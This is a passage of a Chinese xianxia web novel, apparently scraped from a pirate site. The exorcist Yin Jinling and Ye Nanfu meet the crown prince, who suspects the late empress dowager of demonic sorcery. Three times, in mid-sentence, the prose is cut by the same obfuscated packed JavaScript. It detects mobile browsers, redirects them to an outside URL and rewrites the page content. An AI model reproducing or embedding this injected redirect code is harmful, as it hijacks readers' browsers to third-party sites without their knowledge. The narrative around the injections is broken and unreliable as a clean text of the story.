主屋那边翻来覆去的声音停顿了片刻,随后一声抖开被子蒙头盖上的响动,尔后久久再无动静。 殷烬翎嗤笑一声,见他并无过来的意图,便也不再理会,自顾着坐到桌案旁,从袖中掏出纸笔,弄了点墨,低头写起来。 今日九月初一,既然三日前是太后的七七日,按日子推算,太后薨于七月初八,其五七日是八月十四,因为这期间异事频发,五七过后皇帝陛下便派人去向仙盟求助。 她在纸上划下一道长横,在横线上端标上日子,并在下边注上当日或期间发生的事。 随后仙盟派出了封荀他们七人,并应陛下要求在仙愿榜上发布了榜首心愿。 殷烬翎咬着笔尾算了算,她抢榜首那日大约是八月廿四。 接下去是七七日,即三日前的八月廿八,当天祭祀上再度生变。 她缓缓地抓挠着头发,一边在其旁又逐一添上“蜡烛”“乌鸟”“很淡的妖气”几个字,末了垂目觑着纸上的墨字陷入沉思,冷不防从旁伸来一只手,抽走了眼前的薄纸。她蓦地抬眼看去,只见叶南扶修长的二指捏着宣纸的边缘,正仔细地审视着上边的字迹。 “嗬,如今怎又舍得出来了?”殷烬翎往椅背上靠了靠,仰头看着叶南扶,一脸的好整以暇。 叶南扶懒得瞥她一眼,用不用看都知道她当下是怎样一副嘲讽嘴脸,他兀自仔细审视纸上的内容,须臾又放回桌案上,转头四顾寻椅子无果后,便直接老大不客气地占了殷烬翎屋里的床铺。 殷烬翎见状干瞪了他半晌,见他丝毫没有起身的意思,忍不住出言:“老哥,你这是要把这殿内的床榻都睡个遍,来一解你多日睡不到床的寂寞苦闷嘛?” 叶南扶斜靠在床头边沿的栏木上,冷哼了一声,却并未同她抬杠,道:“方才那又是何人?” “你说秦师兄?他是天玑门首席弟子,疯狗的道友,出师后他俩一同通过大选进了仙盟,整日在仙盟入对出双的,我从前没活接的时候还靠写他俩的画本子狠捞了一笔。” 叶南扶静静听了一会,悠然地闭起了双目,跷起的二郎腿一动一动的,似乎心情不错。 殷烬翎拧着眉将他浑身上下打量了一番,愣是搞不明白这个方才还在自己屋里烦躁得翻来覆去拿被子蒙头发泄的人,现下怎的突然心绪颇佳。 “老哥,先前是喊你出来同我讨论事情的,怎么上我这儿补觉来了?” 叶南扶眼也不睁一下:“你误会了,我就是来补觉的。” “你自己那儿睡得好好的,做什么非要过来这里补觉。” 叶南扶想了想:“大约是他人的东西总比自己的好,他人的床总比自己的香吧。” 殷烬翎:“……” “说起来。”叶南扶仍闭目养神着,轻飘飘地开口,“你可留意过现下几时了?” 殷烬翎一愣,转而去看窗外的日头,只见红日西坠,暮色冥冥,竟已近黄昏。她登时立了起来,快步走至床前,一把拉过叶南扶,急迫道:“赶紧梳洗一番换个衣裳,晚间还要上东宫去面见太子。” “见的不是你么,我去凑什么热闹?”叶南扶懒得跟没骨头一样紧黏在床上,扯都扯不起来。 “方才我送秦师兄出门时,瞧见外头叠放了两套道袍,显然是将你也算上了。”言至此,殷烬翎又想起什么来,挠挠头道,“不过这事约莫也赖我,先前接了那个榜首后要填写一行几人,我便写了个‘二’来着……” 叶南扶被气笑了:“二,你可真是货真价实的二百二十二。” “好啦,我的错。”殷烬翎推了他一把,“赶紧的去换衣裳吧。” - 随着日轮沉入一望无尽的宫墙底,白色的宫灯渐次挂起,宛如沉甸甸的夜幕上零碎的星子,任凭如何发亮也照不彻黢黑狭长的径路底端。 殷烬翎身着宽大厚重的深蓝道袍,虽说是道袍,可式样有些近似于朝服宫装,腰封处缝了数处仙鹤云纹,袖口上细密绣着繁复的暗金色锦纹,除了觉得肩膀有些沉,比她从前穿的那身朴素的水蓝色道袍不知要华美高贵多少倍。 她微微侧头往叶南扶看去,他头一回换下了那件来时便一直穿着的白色广袖长袍,此刻正穿着与她一样的道袍,只是她身量过于纤细,肩膀撑不起道袍两边而稍显得有些沉重,然而穿在叶南扶身上却甚是妥帖匀称,锦纹描摹着他宽阔的双肩,系带勾勒着他劲瘦的腰,一改先前慵懒散漫的气度,长身玉立,宛如苍翠挺拔的青松玉竹,将件道袍生生穿出了通身的丰神俊秀来。 殷烬翎头一回见他这般模样,颇有些新奇,且很是养眼,便不禁频频侧目顾望他。 叶南扶起初还竭力对她投来的视线置若不见,然而多次之后终于忍不住道:“可看够了?” 殷烬翎撇撇嘴:“行吧行吧,不看便是了,可给你稀罕的。”说着收回了目光,径直朝前边引路宫人提的琉璃灯看去,目不斜视。 漆黑的宫墙,幽邃的小径,黯淡的新月,遮住了他微红的耳尖和她紧抿的唇角。 东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918026|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫是由东边一大片宫殿楼阁连成的区域,是这皇城内隶属太子的地方。 此时夜刚擦黑,因着太后新丧不久,宫殿四檐和廊柱上挂了许多惨白的灯笼,随着深秋夜的冷风不时晃动,看来竟分外渗人。 不过所幸今晚太子会见众仙家,往里走一些便能见到宫内的侍女小厮来来往往地忙碌,好歹令氛围不那么凄清萧索了。 殷烬翎在正殿前遇着了几位早先见过的仙家,俱是穿着统一的道袍,各自由宫女领来。同他们招呼过之后,便见一位身着素白麻布孝服的青年男子从殿内迎了出来,显见的便是太子殿下了。 当今圣上谢霖正值壮年,膝下有三子。长子谢颐便是这太子殿下,刚及弱冠之年,次子谢颂与三子谢预分别被册封为齐王和襄王。 太子迎向众仙家,互相见过礼,太子道:“众位请随我来。” 说着太子便领着众人往正殿大门走去,可奇的是,从外头看来正殿占地相当之大,正门也甚是宽敞,却不知为何将将只开了半扇,还没法完全洞开,很是逼仄,使得一行众人只能逐一入内。 一众仙家自然纷纷露出疑惑之色来,太子见状,颇为歉疚地解释道:“这殿门出了些差错,今日午后尚还好好的,到了晚间要面见众位时便忽然成这样了,那时都已有几位来了,也不好再换地方,若让道长们走偏门却又过于失礼,便只得如此。” 几位仙家纷纷表示无妨,依次进了门往里走。 殷烬翎落在后头,目光微转,不着痕迹地打量着门楹上头,那处正悬挂着的一帘白绢,上头缀着一朵素淡的白花,也不知是不是自己花了眼,总觉得在花心处有什么事物的光点间或一闪而过。 她正待细瞧,前边的人却已然都进了门,门外只剩了她与叶南扶,她忙一把将后边的叶南扶拉至身前,不由分说地往门边推,眼目一瞬不瞬地悄悄注视着白花,然而毫无动静,令她越发疑心是自己看岔了。而此刻门外仅余了她一人,便只得按下心头的疑虑,抬步跨进了门槛。 进了大殿,才见里头已然坐了不少先来的仙家,算上他们这些刚刚到的,估摸着也差不多了。 殷烬翎正环顾着,冷不防对上了前边叶南扶微恼的目光,想起方才将他硬塞进门的举动,她不由有些想笑,稍稍弯起了嘴角。 叶南扶轻哼一声移开了眼去,跟随着后来的仙家一同入席落座了。 待一众仙家皆就了位,太子同众人一一见礼后坐到了上首,屏退左右,清了清嗓子,扬声道:“想必道长们消息灵通,已然知晓了父皇重金聘请各位的缘由,正是我皇祖母丧期内的一些事。” 大乘历来尊仙重道,因而即便是太子面对仙家们也甚是谦逊有礼,言语间都不曾自称“本宫”,而是用了“我”。 殷烬翎见太子也不客套寒暄,头一句就开门见山,顿时便竖起了耳朵,屏息凝神地听,却只听得太子接下去道:“在此我便不多赘述了,况且今日寻各位道长来,要谈的也并非此事。” 殷烬翎:“……” 赘述啊!倒是麻烦太子殿下您赘述一下啊!而且明明宫里的人都嘴巴严的撬不开半条缝,下面坐着的仙家们也没什么表示,您怎么就一副我们都理所当然了解了前因后果的样子?我也没看过剧本啊,前面到底发生了什么,我能知道个锤子啊!这跟当初师门学堂里的授课长老,第一堂课就说“想必大家都有些仙道根基了,那么我们就从书第一千三百页开始讲吧”有什么区别啊! 34. 第 34 章 太子自然对殷烬翎内心的激烈吐槽一无所知,郑重地道:“接下来的事其实是我私人的请求,与父皇此次委任各位的事无关,此事或许有一些麻烦,还涉及一些皇家秘辛,并不大光鲜,道长们若有不欲牵涉入皇家秘事者,现下便可自行离席,我不会强求,亦不会阻拦,但还请务必莫要向他人提起今晚之事。” “请众位道长自行斟酌。” 太子话毕,殿内先是静了片刻,尔后有仙家三三两两地交头接耳起来,少顷,便有数位仙家先后起身,上前轻声与太子告辞后便离去。 切莫多管人间闲事,一向是除灵师这一行奉行的信条。 倒不是说冷漠,而是人间自有其规则,很多事都不是仙家能随意插足的,也不是有了仙家的参与便能有所改善的,仙愿榜上放出来的那些委托,都是经仙盟审核过才可接手的。 不过正如每个初入仙道的少年都有着心怀天下拯救苍生的中二梦想,殷烬翎也不例外。从前的她也一度对此非常不解,曾费尽心力地试图相助他人,然而其结果却令她异常心灰意冷,之后在人间行走的五十年内,她也逐渐成了该信条的奉行者,并深谙此中真意。 而且,接私活就跟私底下交易二手法器不走平台一样,是没有保障的啊!虽然对方是太子,应该不至于逃单什么的,但还是让人免不了心里嘀咕。 才不过半刻,殿内的人便已走得七七八八,殷烬翎眼见着离席的人越来越多,稍稍也有些坐不住了。 她悄悄挪了下盘坐的腿,不动声色地往叶南扶那侧靠了靠,凑近了低声道:“老哥,你看咱要不也溜吧?” 叶南扶瞥她一眼:“你不听听他的皇家八卦再走?” 殷烬翎撇嘴,苦笑道:“八卦自然是想听的,但听了就得帮他忙,便不大乐意听了。” “说不准里头会涉及到你想知道的线索,过后还可从太子口中问些前边丧期内的情况,不听听看吗?” “算了算了,多一事不如少一事,有这个闲工夫帮他解决什么隐秘的私事,不如早些回去好好睡一宿。” “你以往不是颇爱看这等野史秘闻的画本么,如今怎的不好奇了?” “不了不了,这伤身体,毕竟平时也没少看。” “等一下,我怀疑你在看什么少儿不宜的东西。” “你想到哪儿去了,我说的是任务期间还接私活太累了,劳筋伤体。”殷烬翎义正言辞道,说罢忽然狐疑地看了眼叶南扶,“说起来,你不是最怕麻烦的么,以往我若说走你定然头一个响应,今日怎的推掉个事儿还要再三同我确认?咋了,你跟这太子认识?” 叶南扶缓缓地摇头,目光往上首坐着正频频点头与几位仙家告别的青年男子投去,清冷的黑眸深处古井无波,只消一瞬便又收了回去。 他低头又看向近在咫尺几乎贴近自己肩膀的殷烬翎,轻轻咳了一声,耳尖微微发烫。 殷烬翎对此浑然不觉,依旧兀自喋喋不休道:“嘿呀,你自己想听八卦就直说嘛,偏要这般再三问我想不想听,恁地不坦率。”说着便抿唇偷笑起来。 叶南扶冷笑一声,不理会她揶揄的神色,抬手推开她道:“你方才不是要走么,再多耽搁会人都走光了。” 殷烬翎抬眼瞧瞧殿内,只见仅剩了三两个年轻仙家还在犹豫地互相观望,混迹江湖多年的老油子们一早就溜得没影了。 她扬了扬眉,打定主意又凑了过去:“我还是留下来听听看。” “这会儿不伤身体了?”叶南扶嘲道。 “伤是伤的,但难得你都要求了,我总不能在这里说不行吧,也只能硬着头皮上了。” “你给我收敛点,别整日一言不合就说起荤话来。” 殷烬翎挪回去原位,拿手撑着腮:“既然你想听我便陪你坐会呗,至于接手与否还要看这事儿麻不麻烦。” 叶南扶静默地看了她半晌,最终什么也没说。 最终殿内仙家只剩了殷烬翎、叶南扶,以及另外二人。这个结果已经出乎殷烬翎的意料了,她本以为其他人定会走得一个都不剩的,因为对方是太子不大好拂了面子嘛? “看来最近几届刚下山的年轻除灵师不太行啊……”她摇头叹道。 但其实她当初刚下山也是这般一腔热肠的,谁也说不得谁。 上首正襟端坐的太子神情有些蔫蔫的,大抵是没料到满满一殿的仙家居然留不下几人,眉目间有几分难掩的失落,不过好歹是大乘储君,也不至于失了仪态,平复了一下神色,站起身下来向四人行了个大礼,朗声道:“颐在此谢过四位道长的鼎力相助。” 那头两位年轻仙家面对太子行如此大礼显然有些局促,又不知如何请太子起来,犹豫半晌也不敢贸然出声,纷纷将恳求的目光投向了殷烬翎。 殷烬翎顿时一个头两个大,瞥了眼叶南扶,见他一副气定神闲事不关己的模样。也是,这老哥在这种时候从来就不能指望什么。 她只得敲着发疼的脑壳,硬着头皮道:“太子殿下不必如此,快请起吧,嗯……毕竟我也还不一定答应帮你。” 两位仙家:“……” 太子闻言,身子顿时一僵,忙再一顿首,任凭另两位说什么也不肯起身了。 两位仙家颇有些气恼地看向殷烬翎,赶忙越过座位七手八脚地去扶太子。 殷烬翎见状往叶南扶身后缩了缩,咂了咂嘴。方才被赶鸭子上架,尴尬地全然不知说什么,一不留神便将心中所想道了出来,此刻心下也有点懊恼,索性缩起头来不动了。 接着一通兵荒马乱,好半天才将太子扶起来坐好,能重新好好交流了,两位仙家此时无论如何也不敢再让殷烬翎开口乱说话了,她便躲在叶南扶后边,权当自己不存在。 “殿下不要理会她,但说无妨。”一位仙家开口道。 是啊是啊,不要理会我,我就是无形无影看不见摸不着的天地灵气。殷烬翎如同鸵鸟一般,抱着头埋在叶南扶身后的阴影中。 叶南扶转过头来瞧她一眼,唇边隐隐有几分笑意。 “今日请道长们过府,是颐近来欲查清一件事,因事涉妖诡,还望诸位仙师相助。” 大乘皇朝的尊仙重道风气是不是过了点,这个太子面对仙家们是真的卑微,前边自称还用平辈的我,现在已经谦卑地改称自己名字了。殷烬翎暗自咧嘴。 “说来可能显得不敬,但颐近日对已故的皇祖母生前行事有所疑心。”言至此,太子顿了顿,低首似是在斟酌着委婉的用词,“皇祖母生前……可能沾染过妖蛊一途……” 抬眼见两位仙家露出些许惊愕之色,太子连忙补充道:“这只是颐私底下的揣测,颐作为后辈,有对先人大不敬之嫌,而今对道长直言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15930249|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如若将来查证有不实之处,颐自当去祠堂跪满十日向皇祖母请罪!” 也难怪了……殷烬翎心下了然。难怪先前太子要让众仙家思虑清楚再决定是否要听,果真是件皇家秘辛。 妖蛊是指一些心术不正的人与妖类合谋,借助妖物的力量来谋害他人,妖物可经此收获巨大恶念,并吞噬所害之人的生命力,从而获得修为的迅速增长,是妖界一种相当恶劣的修炼方法。 两位仙家从惊诧中回神,其一宽慰道:“殿下莫急,我等既非朝中人,亦不曾与谁相识,在确切证实之前,绝不会向任何人透露。” 另一位则皱着眉问道:“妖蛊一事,求之于仙愿榜是完全可以过审的,届时便有仙家全权接手此事了,殿下又何必向陛下找来的仙家私下请求,须知多数仙家都是不会应承任务以外之事的。” 太子苦笑道:“颐身为储君,久居皇城之中,我若派人去仙愿榜上发布心愿怀疑皇祖母涉及妖蛊,欲查她老人家生前诸事,再如父皇这般大张旗鼓地请来一众道长,只怕明日就得从这东宫搬出去了。” 殷烬翎暗暗皱了皱眉。其实方才若留下的仙家众多,怕是太子也不会轻易说,还会请他们多考虑片刻,又或是再将之讲得严重些,直到人少了才会开口道出如今这些,只是他未曾料到,坐了偌大一殿的人居然一下便只剩了四个。 “殿下可否详细说说,究竟是因何疑心起已故太后的?”一位仙家道。 太子点点头,道:“数年以前皇城内曾出过一桩妖蛊案,当时父皇身体欠佳,由皇祖母主事,将涉事人员全数下了狱,其中一项重要的证物便是一幅令人悚然的诡异画作。”他顿了顿,垂下眼眸道,“然而前不久我在皇祖母的房间,再次见到了这幅本应随着结案立即销毁的画,那时我前去查看皇祖母的遗物收拾得如何,偶然发现这画被细心卷好,封存在了玉枕底下,显然是皇祖母生前藏的。” “那是怎样一幅画?” 太子皱眉回忆道:“画上似乎是一口墨黑的玄铁大鼎,其上立了一只乌鸦,正张嘴啼叫,可诡异之处在于,其上还用朱笔在乌鸦口中勾了淌下的鲜血,一直滴落到鼎中,令得大鼎中鲜血满溢。” 殷烬翎想象了一下画面,确实有几分难言的古怪意味。 或许数年前的妖蛊案的确藏有隐情,然而仅凭这画便疑心太后沾染妖蛊是否有些过于牵强?只是因为发现了太后私藏当年妖蛊案的证物,便敢冒大不韪私下找仙家来调查这刚亡故的先人? 他先前也说了,倘若这事泄露进了皇帝陛下耳中,只怕他太子之位不保,想来他也并非不分轻重不知后果之人,那么为何还要坚持这般行事?而且据他描述封存得这么妥帖,不是轻易就能“偶然”发现的吧?恐怕他在此前就有所怀疑,才会去太后房里调查的。 不过她疑惑归疑惑,却只在心里想想罢了,毕竟皇家的事往往牵扯甚广,咱也不知道,咱也不敢问。 “道长们愿留下听颐的诉求,颐不胜感激,如今斗胆腆着脸恳求,还望道长们应允下这个不情之请,颐届时必有重谢。”太子俯身再一拜首。 殷烬翎心下不禁啧啧叹息。 这太子未免也太卑微了,姿态放得这般低,导致我现在心中一生出拒绝的念头,都立马觉得会不会过于狠心了。 怎么办呢?我本来就不太会拒绝人啊…… 35. 第 35 章 作为一个重度的选择困难症患者,殷烬翎这厢还在内心争斗,那边两个仙家已然向太子应下了,正在与太子你来我往地客套,倏忽间想起她来,其中一位便转头遥遥地冲她道:“殷姑娘可考虑好了?都听了这许多秘事去,若还拒绝可就有些说不过去了吧?” 殷烬翎在心里一哂,虽说如今拒绝是不大好,但是这话说的未免就显得有些逼迫的意味。 然而在外人面前一贯装得温文随和的她是不会表露出来的,只从叶南扶背后探出半个身子来,扬声道:“我尚未思索好,你们不如问问他,我与他一道来的,他若应承了下来,我便也没有异议了。” 虽然老哥今日似乎有些一反常态的积极,但殷烬翎深知他脾性,从来只会比她更怠惰更怕麻烦,原本她便是因为叶南扶想听才陪他一道留下来的,便让他来做决定吧。 她拍了拍叶南扶的肩头,示意他想清楚再回答。 谁知叶南扶随即便接口道:“好啊,那便帮一帮吧。” 殷烬翎:??? 不是,老哥,你今天怎么这么古道热肠乐于助人啊!你平日里要是有这一半的勤快,我的吐槽都能少大半的篇幅好嘛!说真的,我现在严重怀疑你跟这个太子有什么不可告人的肮脏交易。 两位仙家早先在宫门口时见过叶南扶,听闻他是一介散修,故而并未留心,此时见他应得爽快,不由对他侧目:“还是这位殷姑娘的道友处事果断,未曾请教尊姓大名。” “叶南扶。” “原来是叶兄,幸会幸会。” 趁着几人客套两句,殷烬翎在底下扯扯叶南扶的袖子,压低声音:“喂,老哥,你怎么就这么轻易地答应了?” 叶南扶侧首瞥她:“你方才那意思不是让我来做决定吗?如今我做了决定你又不乐意,当初又何必推给我,还是说……其实你是自己不好意思拒绝,想让我来做这个恶人?” 殷烬翎被戳中心思,有些羞恼地涨红了脖子,捂了捂发烫的脸颊,小声争辩道:“我也没有不乐意的……就是觉得你这决定做的会不会太轻率了点,要不要再考虑考虑?” “不必了,我已经考虑了许久,想得够清楚了。”叶南扶将头转了回去,少见的认真道。 殷烬翎抿了抿嘴,不再说什么。既然他是这个态度,她也没什么好反对的了。 她慢慢挪回原位坐正,向太子正色道:“殿下,既然此事在下应承了下来,便不会随意搪塞,定会给殿下一个结果,也还望殿下莫要有所隐瞒。” 太子拱手一礼:“这是自然。” “如此,在下还有些疑问想请教殿下。” 太子眼神微微一闪,随即垂首恭敬道:“道长请说。” “殿下方才所讲的,那件数年前的妖蛊案,可否再详细说说?” “那件事距今七年有余了,至今在宫内仍是个禁忌,发生当时我才不到十三,许多事并不是年幼的我能知晓的,当然也有些细节记不太清了。” 太子思索着慢慢道:“印象中那时父皇许是过度操劳,感了场风寒后身体一直好不利索,缠绵难愈了大半年之久,尔后有一日,不知怎的在父皇寝宫发现了一个骇人的木制小人偶,就此爆发了妖蛊风波。皇祖母大为震怒,由她老人家出面主持,下令彻查此事。此后不久,便是皇祖母的寿辰,祝寿那日要举行祭天仪式给祖母祈福,然而在祭台底下出现了一样东西。” 太子皱眉叹口气,继续道:“正是那幅画。至此,本就一触即发的形势彻底掀起滔天风浪来,不过因为当时母后有意不让我探听这些事,其过程我也不曾知晓,只知前后罢免了三十几位正四品以上的官员,拘捕了百余人,朝中一时人人自危,纷纷将家中许多古物灵品都毁去,生怕沾上一点东西便被误认为妖蛊。事情足足闹了一年多,才随着一众涉事人员的革职与流放慢慢平息下来。” 殷烬翎点点头,又道:“还有一桩事,殿下可否说说太后丧期内都发生了什么?” “殷姑娘问这个作甚?”太子似是惊异般地瞪大了眼,“皇祖母身后事还会与妖蛊有关吗?” “有。”殷烬翎严肃镇定的答道。 个鬼!她在心里暗暗补充。我不过是是想忽悠几句借机从你嘴里挖些情报罢了。 太子神色略有几分发怔,思虑半晌才犹疑地开口:“皇祖母故去之日,并无任何异样,宫里也宁静异常……” “事情要从皇祖母薨逝后的头七说起。那前几日整夜都由父皇与几位皇叔为皇祖母守灵,我们孙辈的几位皇子郡王虽也需守灵,但是轮番来的,因人数较众,轮得也勤,作为储君的我守得算是最多的,然而实际也仅有三夜。相比之下,父皇对皇祖母感情甚深,此前不眠不休地接连为其守灵了六日六夜。” “直到头七那日,父皇身子实在撑不住了,被内侍搀扶回了寝宫睡下,然而当晚父皇被噩梦惊醒。据内侍说,隔着大半个寝宫都能听见惨呼声,他们忙不迭便要冲进去,却堪堪在帷帐外被父皇喝止,他们只得忧心忡忡地在帷帐外头候着,等了片刻,父皇披着外衫出来了,神色很是有几分憔悴,然而什么也不曾提起,只淡淡地吩咐更衣,尔后又去了灵堂继续为皇祖母守灵。” “其实这事原本也没闹出多少动静来,想着父皇守灵过于劳累,夜寐欠安也在情理之中,彼时正忙着丧殡事宜,无暇理会区区一个噩梦,加之父皇本身也不欲多言,因而初时也仅有当晚侍候的侍从宫女们知晓这事。” “此后过了些时日,到了皇祖母的三七日,当夜祭奠仪式过后,一队宫女在灵堂所处的宫殿外墙上瞧见了一个诡异的黑色人影;之后的五七,有妃嫔在灵堂附近的竹林里见到疑似皇祖母的背影;再后来的七七,祭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944567|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奠仪式时灵堂内白烛炸裂,乌鸦闯入撞毙在柱上。直到后头这些事一一发生,才有人想起头七时父皇的噩梦来,便将此串联到一处,一时皇城内流言四起,都道是皇祖母亡魂不肯安歇,父皇这才只得请道长们前来。” 殷烬翎听罢太子的叙述,摸着下巴思索。 人故去之后魂魄可在人界停留一段时间,而人间丧葬之所以重视五七,是因为五七乃往生者回望人间的最后一日,过了五七亡魂便将进入冥界,又或因执念颇深而化为恶灵继续停留人间。 先前秦师兄说测过阴阳相位,此处仅有淡淡妖气,他们测的那天已是七七了,按理说太后亡魂已然归入冥界,就算强行留下化为了恶灵也当是鬼气,倘若这些异事是因太后魂灵滞留作乱而起,不论如何都应当能测到鬼气才对,然而如今却并没有,反而有个莫名其妙的妖气? 殷烬翎拍拍头,叹了口气。按如今这丁点线索想分析出个头绪来约莫不大可能,这些还是待明日先后见过疯狗和皇帝再说。 那边两位仙家也向太子询问起一些太后的生平事迹。 太后姓姬名玉瑶,出身定国公姬氏,是先皇的第二任皇后,当今陛下是其长子。姬太后曾在先皇故去后短暂主持过动乱的朝内大局,很是有一番理政才能,很快平定了多方的乱象,将一个回归井然有序的江山交到了当今陛下手中,待陛下即位便立刻归还政权,退居后宫,许多朝中大臣都对之分外景仰,其风采气度,全然当得起“国母”二字。 “四位道长,皇祖母的丧葬事宜都是父皇亲力操持的,我虽从旁帮衬一些,但关于丧期内异事的情况,我所知道的也仅有这些了。” 太子其实知道的也有限,况且已经说了这许多,殷烬翎也清楚他这边大抵是得不出有用的线索了,再坐下去也就接着消耗些茶水罢了,便起身要同太子告辞。 殷烬翎堪堪能算此处几位中资历较深的了,她一起身,另两位也跟着纷纷起身,太子见状忙也起身相送,一时间只剩下叶南扶还老神在在地坐着。 殷烬翎赶紧拿手肘捅了捅他,他这才慢条斯理地站起来,意味不明地瞥了她一眼,殷烬翎回以一个疑惑不解的眼神。 四人向太子施了礼告辞,太子回了礼并送四人出门。 早有宫人候在门口,几人一出大殿正门便迎了上来。另两位仙家暂住之地与殷烬翎并不顺路,便在宫门口与他们告别,由两名宫女领着先行走了。 “殿下,那么我们也告辞了。”殷烬翎朝太子一礼,余光扫了眼毫无动作的叶南扶,垂下的手悄悄在背后扯了他一把。 叶南扶却并未理会她的小动作,目光显见的停留在面前低头行礼的太子身上,殷烬翎便疑惑地往他望去,只见他黑眸半阖,嘴角上挑,一脸似笑非笑的神色。 少顷,他收敛起眸光,垂首端正地行礼告辞。 36. 第 36 章 宫女提着的灯盏摇曳着朝前而去,殷烬翎和叶南扶沉默无言地跟在其后。 默默地走出了很远,殷烬翎其实憋了一肚子的问题,却一时不知如何开口,搜肠刮肚地组织了半天的语言,侧过头看向叶南扶,将将迟疑地开了口:“老哥……” “来了。”叶南扶忽然道。 殷烬翎一怔,停下脚步,见叶南扶转首回望着方才走过的路,隐隐能听见远处有人匆匆而来的急促脚步声。 不多时那人便赶到了近前,喘了几口气,理了理因快步疾走而有些凌乱的衣袍下摆,对着二人深深一礼,道:“这位叶道长,太子殿下有请。” 叶南扶似乎毫不意外,神色如常地冲那侍从道:“前头带路吧。” 眼见着二人抬步欲走,殷烬翎忙拦了上去:“那我呢?” 侍从低眉垂眼,恭顺道:“殷道长,万分抱歉,太子吩咐了只求见叶道长一人,您可先行回住处去。” 殷烬翎顿时拧起了眉头,大感疑惑,上前一步拉过叶南扶,踮起脚附在他耳边低声道:“你不会真的瞒着我,私底下跟那太子有什么肮脏的交易吧?” 叶南扶只觉得肩头一沉,她一手攀在他肩上,一手拢在唇边,额前的发丝随着她轻软的声音一颤一颤,扫在他的耳根,令他耳尖瞬间便染上了红霞,他不由得想缩缩脖子,头微微一动,便想起她还贴在那儿,立时僵住了,一时竟不知该不该动。 “不,此前我并未见过他。” “那你今晚这一反常态的热心模样,还有太子现下指名传唤你一人,都是怎么回事?还同我说你们没关系,骗鬼呢!” “你在生气?” “我,我……”殷烬翎顿时语塞,支吾了一下,将头一扭,撅着嘴道,“我这不是正要问事情嘛,莫名被人打断了不说,还得等上好久,自然是会不大高兴的。” 叶南扶轻笑了一声,悄悄往边上倾了分毫,不动声色地与她的发梢微微拉开点距离,垂眸暗暗窥她一眼,见她一无所觉,便接着道:“好了,你先回住处吧,等我回来,便将事情全都告诉你。” “我怎么觉得你这话说得,貌似跟画本里那些‘打完这场仗我就回老家成亲’‘干完这票我就金盆洗手’有异曲同工之妙。” 叶南扶:“……” “你知道在悬疑画本里说‘你先走吧,我马上就追上来’这种话有多危险嘛?” “好的,一会儿我要是身受重伤挣扎着回来,一定会努力把凶手名字说出来再咽气的。” “呸呸呸。”殷烬翎啐了一口,“你也是真的不忌讳这种话,赶紧呸了。” 叶南扶无奈地跟着“呸”了一声。 她松开拉着叶南扶的手,指了指不远处石径上的一座凉亭,用其余二人也能听得清的声音道:“那我便在那边的凉亭里稍事休息,等你回来再一同走吧。” 叶南扶点头:“在我回来之前不要乱跑哦。” “……拜托可别说这种话了啊喂!” 叶南扶跟在那个侍从后头走了,殷烬翎这边则与宫女一同来到凉亭里,宫女将灯盏拨亮了些安放到石桌上,令凉亭里亮堂了不少。 殷烬翎坐到石凳上,手托着腮搁在光洁的石桌上,思考着前边发生的事。 老哥今日在东宫的举动都很反常,上一次这么反常的勤快,是他在宋家时发现揣在袖子里的火婴对宋伯乔有反应。莫非他今日也是发现了什么线索? 宫女默默立在一旁侍候,低垂着眉眼。 殷烬翎起初并未在意宫女的举动,只在思考的间隙偶然瞟过去一眼,却发现那宫女立得似乎并不安稳,她两边鞋尖轻轻地互相摩挲着,手里用力攥着衣角,嘴角紧抿着,间或飞快地偷瞄自己一眼,似乎犹豫着有话想说。 殷烬翎见此情形,颇有几分好笑地瞧着她,宫女抬眼便发觉自己的模样被看出来了,立时有些窘迫,迟疑片刻,她猛一抬头,眼神坚定地看向殷烬翎。 好的,看着吧,她接下来肯定要说“我有件事不知当讲不当讲”,这个时候我就说不当讲,嘿嘿。 “道长,奴婢有件事……” 来了来了。 “不知……” 我准备好了,我准备好了。 “……还是算了吧” 殷烬翎:“……???” 我还没拒绝呢,你倒是讲啊! “算了算了,不说这个了。” 不不,还请你务必说一下。 “是奴婢冒昧了,还望道长莫要怪罪,奴婢还是给道长讲些近期宫内之事,道长若有疑问尽管说便是了。” 不,我就要听原来的,麻烦你接着讲好不好啊! 殷烬翎一时百爪挠心,站起来一把拉住宫女,按着肩膀让她坐到石凳上,然后自己坐到她对面,深吸口气定定凝视着她,认真道:“你先前想说什么便说吧,我听着。” 宫女有些如坐针毡,惶惑不安地动了动,轻声道:“奴婢……奴婢就是想问一下,太子妃,啊不,黎小姐的事如何了……有办法吗?” “太子妃?”殷烬翎疑惑道。 